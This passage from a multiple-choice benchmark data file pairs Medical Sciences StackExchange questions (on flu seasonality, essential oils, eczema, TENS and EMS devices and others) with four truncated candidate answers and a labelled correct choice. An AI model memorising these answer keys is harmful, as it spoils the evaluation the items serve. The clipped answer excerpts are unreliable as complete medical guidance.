tongue and pharynx can propel these kinds of objects (including liquid) into the esophagus with ease, unless there is some specific pathology at work. Chewing also tends to naturally push food toward the swallowing position. The tablets and capsules you asked about, on the other hand, tend to be dry and hard and are not chewed. There is little for the tongue and throat muscles to 'grab' as they try to push the object back...", "C": "Because leprosy and multiple myeloma are conditions for which other treatment options are limited. All treatments have side effects, some more debilitating than others. The trick with pharmacology is to balance the benefit of treatment with the hazards of the side effects. Take cancer chemotherapy. The drugs we use for cancer chemotherapy are horrible poisons. We literally use derivatives of chemical weapons to treat cancer. Why do we deliberately poison cancer patients with what amounts to a weapon of mass destruction? Because if we don't, the cancer will kill them. In pharmacology there's a concept of a therapeutic window ....", "D": "Race and ethnicity are risk factors in many diseases. Examples include, but are not limited to, cystic fibrosis and spinal muscular atrophy. There is also an epidemiological purpose of collecting this information. It is important to know if some disease is affecting some races or some ethnicities disproportionately. This is how it was found out that race or ethnicity is a risk factor in certain diseases in the first place. RFERENCES: Sheets L, Johnson J, Todd T, Perkins T, Gu C, Rau M. Unsupported labeling of race as a risk factor for certain diseases in a widely used medical textbook...."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/1320/why-is-it-so-much-harder-to-swallow-pills-than-it-is-to-swallow-food"} {"id": "medicine_5226", "domain": "medicine", "question_title": "Why does the flu only happen in winter?", "question_body": "I can understand that our immune system may be weaker when we are cold (?), but since these viruses live inside a human body which internal temperature is constant over the year, why does the season make a difference? Moreover, we are never sick from the flu in summer, like it does not exist, yet the viruses reappear as soon as the cold season is back. If nobody was sick before winter, where are the viruses coming from? Do people with a constantly weakened immune system (e.g. AIDS) catch flu in summer too ?", "question_score": 13, "question_tags": ["disease-transmission", "influenza", "weather", "seasonal-allergies", "air-temperature"], "choices": {"A": "Your question contains a lot of misconceptions. A cure is definitely possible A cure could be found, proved, and proved safe, more quickly than a vaccine People and firms that could be working on cures are choosing to work on vaccines None of these are correct. Most virus-caused diseases have no cure: colds, Zika, Dengue, and so on. A tiny handful have treatments that can ease the course of the disease: you've heard of Tamiflu and so on. And some can be actually cured with medication. So the first assumption, that a cure exists to be found, is not a...", "B": "The IARC has concluded that cell phones are a \"possible carcinogen\" due to the amount of evidence going both directions. The gist of it is summarised on the website itself: Cell phones emit radiofrequency energy, a form of non-ionizing electromagnetic radiation, which can be absorbed by tissues closest to where the phone is held. The amount of radiofrequency energy a cell phone user is exposed to depends on the technology of the phone, the distance between the phone’s antenna and the user, the extent and type of use, and the user’s distance from cell phone towers. Studies thus far have...", "C": "This is a really interesting question, because it really isn't as easy as people being a bit more susceptible in the winter. There's no definitive answer yet. Influenza Seasonality: Underlying Causes and Modeling Theories says: In temperate climates, flu infections at whatever level of intensity are characterized by a flu season. In these areas, the disease is thought to exist at a low level throughout the year but exhibit a marked seasonal increase, typically during the winter months. Influenza epidemics and outbreaks occur in tropical areas as well, although the timing and impact are not as well defined The exact...", "D": "The definition of mortality rate that you've given does not match any practical definition I'm familiar with.* When people talk about the mortality rate of a disease, what they usually mean is the case fatality rate or the death-to-case ratio , which is simply defined as N d / N i , where N d is the number of deaths attributed to the disease over a given time period and N i is the total number of new cases of the disease observed during the same time period. By this definition, the current case fatality rate of 2019-nCov according to..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/5226/why-does-the-flu-only-happen-in-winter"} {"id": "medicine_67", "domain": "medicine", "question_title": "Are essential oils good disinfectants?", "question_body": "This study seems to indicate that some plant essential oils have antibacterial properties: In vitro antibacterial activity of some plant essential oils (BMC Complementary and Alternative Medicine) Out of 21 essential oils tested, 19 oils showed antibacterial activity against one or more strains. Cinnamon, clove, geranium, lemon, lime, orange and rosemary oils exhibited significant inhibitory effect. Cinnamon oil showed promising inhibitory activity even at low concentration, whereas aniseed, eucalyptus and camphor oils were least active against the tested bacteria. Does this mean that essential oils are a good alternative to alcohol-based disinfectant products for everyday use?", "question_score": 12, "question_tags": ["bacteria", "essential-oil"], "choices": {"A": "People could develop antibodies from natural exposure to the virus. The vaccine is trying to cause antibodies to exist in more people (and/or more strongly) than would express them naturally, therefore a good comparison group is a sample taken randomly in the same way as those getting the vaccine: a placebo group. At the same time, these trials tend to assess safety outcomes; again, to assess safety you want to know that effects are no worse than those in some comparison population. Comparing to placebo is typically a gold standard for this comparison. You're right that a placebo wouldn't be...", "B": "Products high in calcium and magnesium should not be taken at the same time as antibiotics of the tetracycline (tetracycline, doxicycline, etc.) class, and milk should also be avoided with the quinolone class. They have the ability to bind the antibiotic in the gut, decreasing absorption. There is no reason to avoid dairy products while taking other antibiotics (such as the penicillin class, the one you're taking. The clavulanic acid is to increase it's strength against certain bacteria.) If the antibiotic package insert (or the pharmacists's instruction sheet) states it should be taken on an empty stomach, take it with...", "C": "Your question contains a lot of misconceptions. A cure is definitely possible A cure could be found, proved, and proved safe, more quickly than a vaccine People and firms that could be working on cures are choosing to work on vaccines None of these are correct. Most virus-caused diseases have no cure: colds, Zika, Dengue, and so on. A tiny handful have treatments that can ease the course of the disease: you've heard of Tamiflu and so on. And some can be actually cured with medication. So the first assumption, that a cure exists to be found, is not a...", "D": "There are many essential oils and each can work differently and on different micro-organisms. They could affect the skin and mucous membranes in ways that are valuable or harmful. For example steam-distilled eucalyptus oil is used as a primary cleaning/disinfecting agent added to soaped mop and countertop cleaning solutions, however there are hundreds of species of eucalyptus and dozens are used as sources of essential oils, so products of different species differ greatly in characteristics and effects and also the products of the very same tree can vary grossly wiki . Some other studies show that tea tree oil is..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/67/are-essential-oils-good-disinfectants"} {"id": "medicine_583", "domain": "medicine", "question_title": "How effective was the 2014-2015 influenza vaccination?", "question_body": "I’m aware that the CDC released this abysmal report on the effectiveness of this year’s influenza vaccination, including data collected through Jan 30, 2015. In practical terms, this means the flu vaccine reduced a person’s risk of having to seek medical care at a doctor’s office for flu illness by 19%. However, this is missing much (possibly most) of the flu season. Are there more updated numbers on vaccine effectiveness and/or reports that include data from other (non-U.S.) locales with a similar flu season (i.e. temperate Northern Hemisphere)?", "question_score": 12, "question_tags": ["vaccination", "infection", "influenza"], "choices": {"A": "I think a missing bit of information that might help you get a better sense of this practice is: steroids are miracle drugs. OK, that was in jest - no miracles here. Truth be told, though, if there is a single class of drugs that has added more quality-adjusted life-years to human history than any other, steroids must be competing with just a few antibiotic classes for that title. To make clear what we’re talking about, the term “steroid” as a label for drugs generally refers to glucocorticoids (GCs) - drugs that act like cortisol, an endogenous steroid hormone. Commonly...", "B": "There have been no additional reports in the Morbidity and Mortality Weekly Report , which was where your original article points to regarding the efficacy of the flu vaccine. However, the most recent update on influenza activity within the United States, which was about a month later than your report, does not suggest there has been any mid-season change in the dominant circulating strains, so the early estimates are likely in the same area. The one thing that may change this is that a larger number of last season cases of influenza are typically caused by influenza B viruses, as...", "C": "I believe that those lines are craze lines. \"Craze lines are merely cracks in the enamel that do not extend into the dentin.\" They occur because of stress in your teeth, ie: grinding your teeth, biting your nails, and even routine use of your teeth. What you've said also matches up with craze lines in that you don't experience any pain. Those craze lines aren't nearly as bad as some other teeth. Craze lines rarely lead to tooth breakdown, so you almost definitely won't have to get them replaced. There are some studies that say that craze lines may be...", "D": "The MSDS linked to is for a product sold as a solution of 10% SM-102 in 90% chloroform. It's listed as \"SM-102\" because that's the interesting/useful thing that the company is selling. It's common for chemicals to be sold packaged with solvents to make a solution. Sometimes that solvent is just water, but if the product is not water-soluble in sufficient concentrations then other solvents may be necessary. Alcohol solutions are quite common, but for more hydrophobic chemicals it may be necessary to use more \"exotic\" solvents. Because chloroform is quite a dangerous chemical for people to be exposed to..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/583/how-effective-was-the-2014-2015-influenza-vaccination"} {"id": "medicine_1154", "domain": "medicine", "question_title": "What is the mechanism of eczema?", "question_body": "I'm trying to link the signs and symptoms of eczema (especially atopic dermatitis) to its causes . In short, what is the mechanism of the disease? In an answer of another question about eczema , @anongoodnurse has said (bolded words added by me): Signs and symptoms: Eczema (or Atopic Dermatitis) is an incompletely understood skin disorder, in which the normal skin barrier function (permeability) is compromised, allowing the skin to dry out more than normal skin. Causes: The cause of the dryness in AD is thought by some to be (1) a deficiency of a naturally occurring fatty substance in the skin called ceramide. Others believe it's (2) an abnormal or missing protein which causes the skin barrier to be compromised, allowing allergens and irritants to cause immune responses more easily, triggering the itch/chronic inflammation (this might explain the response seen with topical steroids). If the cause is a deficiency of ceramide, what causes this cause? Ceramides are a family of waxy lipid molecules , so exactly which chemical is produced? Is it because the skin produces another kind of ceramide which has lower quality, or it does not produce enough? If the cause is an abnormal or missing protein, what causes this cause? What protein it is? Is that something related to T cells (recognising antigens) or B cells (producing antibodies)? Is it a skin problem or an immune system problem? Also, I heard from many sources that this is an immune system problem. And the source of this problem is the gut. They quote Hippocrates: \"All disease begins in the gut\" . Is that true? Will just eating healthy food, adding more probiotics, and applying moisturizer help the skin effectively?", "question_score": 12, "question_tags": ["dermatology", "immune-system", "digestion", "eczema"], "choices": {"A": "This has been a controversial dispute for a long time and it can involve a lot of personal opinion, but I will try to answer this as scientifically as possible. There hasn't been any viable evidence that vaccines do cause autism. Several different theories have been proposed on why vaccines could cause autism, such as the ingredient in some vaccines thimerosal being harmful, but these have all been disproved by many different experiments. Many reliable sources such as the CDC 1 says that there is no link between autism an vaccines. A 2011 report 2 from the Institute of Medicine...", "B": "This is a pretty old old-wives tale, taking many forms: don't go out into the cold while it's raining, or without a hat, with wet hair, without a warm coat or scarf, without boots, etc., \"or you'll catch your death of cold.\" The old wive's tale was immortalized by Jane Austin in her book, Pride and Prejudice , when the heroine's sister Jane falls ill after getting a soaking in the rain. This has been studied extensively. A New York Times article describes one such uncomfortable-sounding study: In the 1950's, Chicago researchers repeated the experiment on a larger scale with...", "C": "TLDR: The pathogenesis of eczema is multifactorial, but broadly follows a process of genetic (or epigenetic, in the case of the early gut microbiome) dysregulation relating to barrier integrity proteins like filaggrin with corresponding changes in the skin microenvironment's ceramide content. Following these changes in protein structure and function and lipid quantity, the compromised barrier is predisposed to irritation and infection, which leads to an abnormal immunological response as Th2 cells work to resolve inflammatory processes in the skin (it's not clear how B cells participate in the pathogenesis of eczema at this time). Treatment options for mild-moderate eczema are...", "D": "The MSDS linked to is for a product sold as a solution of 10% SM-102 in 90% chloroform. It's listed as \"SM-102\" because that's the interesting/useful thing that the company is selling. It's common for chemicals to be sold packaged with solvents to make a solution. Sometimes that solvent is just water, but if the product is not water-soluble in sufficient concentrations then other solvents may be necessary. Alcohol solutions are quite common, but for more hydrophobic chemicals it may be necessary to use more \"exotic\" solvents. Because chloroform is quite a dangerous chemical for people to be exposed to..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/1154/what-is-the-mechanism-of-eczema"} {"id": "medicine_1160", "domain": "medicine", "question_title": "Difference between TENS and EMS electro stimulation?", "question_body": "Transcutaneous Electrical Nerve Stimulation (TENS) and Electrical Muscle Stimulation (EMS) are described by product manufacturers (and wikipedia!) as two separate things. However, I have been unable to find a concise/complete description what is actually different, such as 1) voltage, 2) current, 3) frequency, 4) wave form, 5) location applied on body, ... Can somebody clarify?", "question_score": 12, "question_tags": ["pain", "medical-device"], "choices": {"A": "Great question! I think it's answerable as an overview, but please know this is only the tip of the iceberg.* Summary : Yes, we have deficits of certain blood products in certain locations at certain times that affect patient care. However, a small percentage of blood product does expire unused (because it wasn't the right product [see background] in the right place at the right time). A little background Donated blood is not usually transfused into a patient as whole blood. Instead, it's broken down into several components which are transfused in different clinical scenarios. The issues of storage and...", "B": "The MSDS linked to is for a product sold as a solution of 10% SM-102 in 90% chloroform. It's listed as \"SM-102\" because that's the interesting/useful thing that the company is selling. It's common for chemicals to be sold packaged with solvents to make a solution. Sometimes that solvent is just water, but if the product is not water-soluble in sufficient concentrations then other solvents may be necessary. Alcohol solutions are quite common, but for more hydrophobic chemicals it may be necessary to use more \"exotic\" solvents. Because chloroform is quite a dangerous chemical for people to be exposed to...", "C": "As you read, both TENS and EMS employ electrotherapy to treat acute and chronic pain, but the methodology differs. (Note that some of the references are to NMES, which stands for Neuromuscular Electrical Stimulation, and is considered synonymous with EMS.) Transcutaneous Electrical Nerve Stimulators (TENS) use electrotherapy to stimulate the nerves and active therapeutic healing. Electronic Muscle Stimulators (EMS), on the other hand, sends electric impulses that cause muscle contraction . EMS units are used to prevent atrophied muscles, for retraining muscles (e.g. in partial paralysis), to increase range of motion, and other uses. Some of the technology is described...", "D": "The seasonal coronaviruses attach exclusively to cells with a ciliated epithelium. Coronaviruses invade the respiratory tract via the nose. After an incubation period of about 3 days, they cause the symptoms of a common cold, including nasal obstruction, sneezing, runny nose, and occasionally cough (Figs. 60-1 and 60-2). The disease resolves in a few days, during which virus is shed in nasal secretions. There is some evidence that the respiratory coronaviruses can cause disease of the lower airways but it is unlikely that this is due to direct invasion. Other manifestations of disease such as multiple sclerosis have been attributed..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/1160/difference-between-tens-and-ems-electro-stimulation"}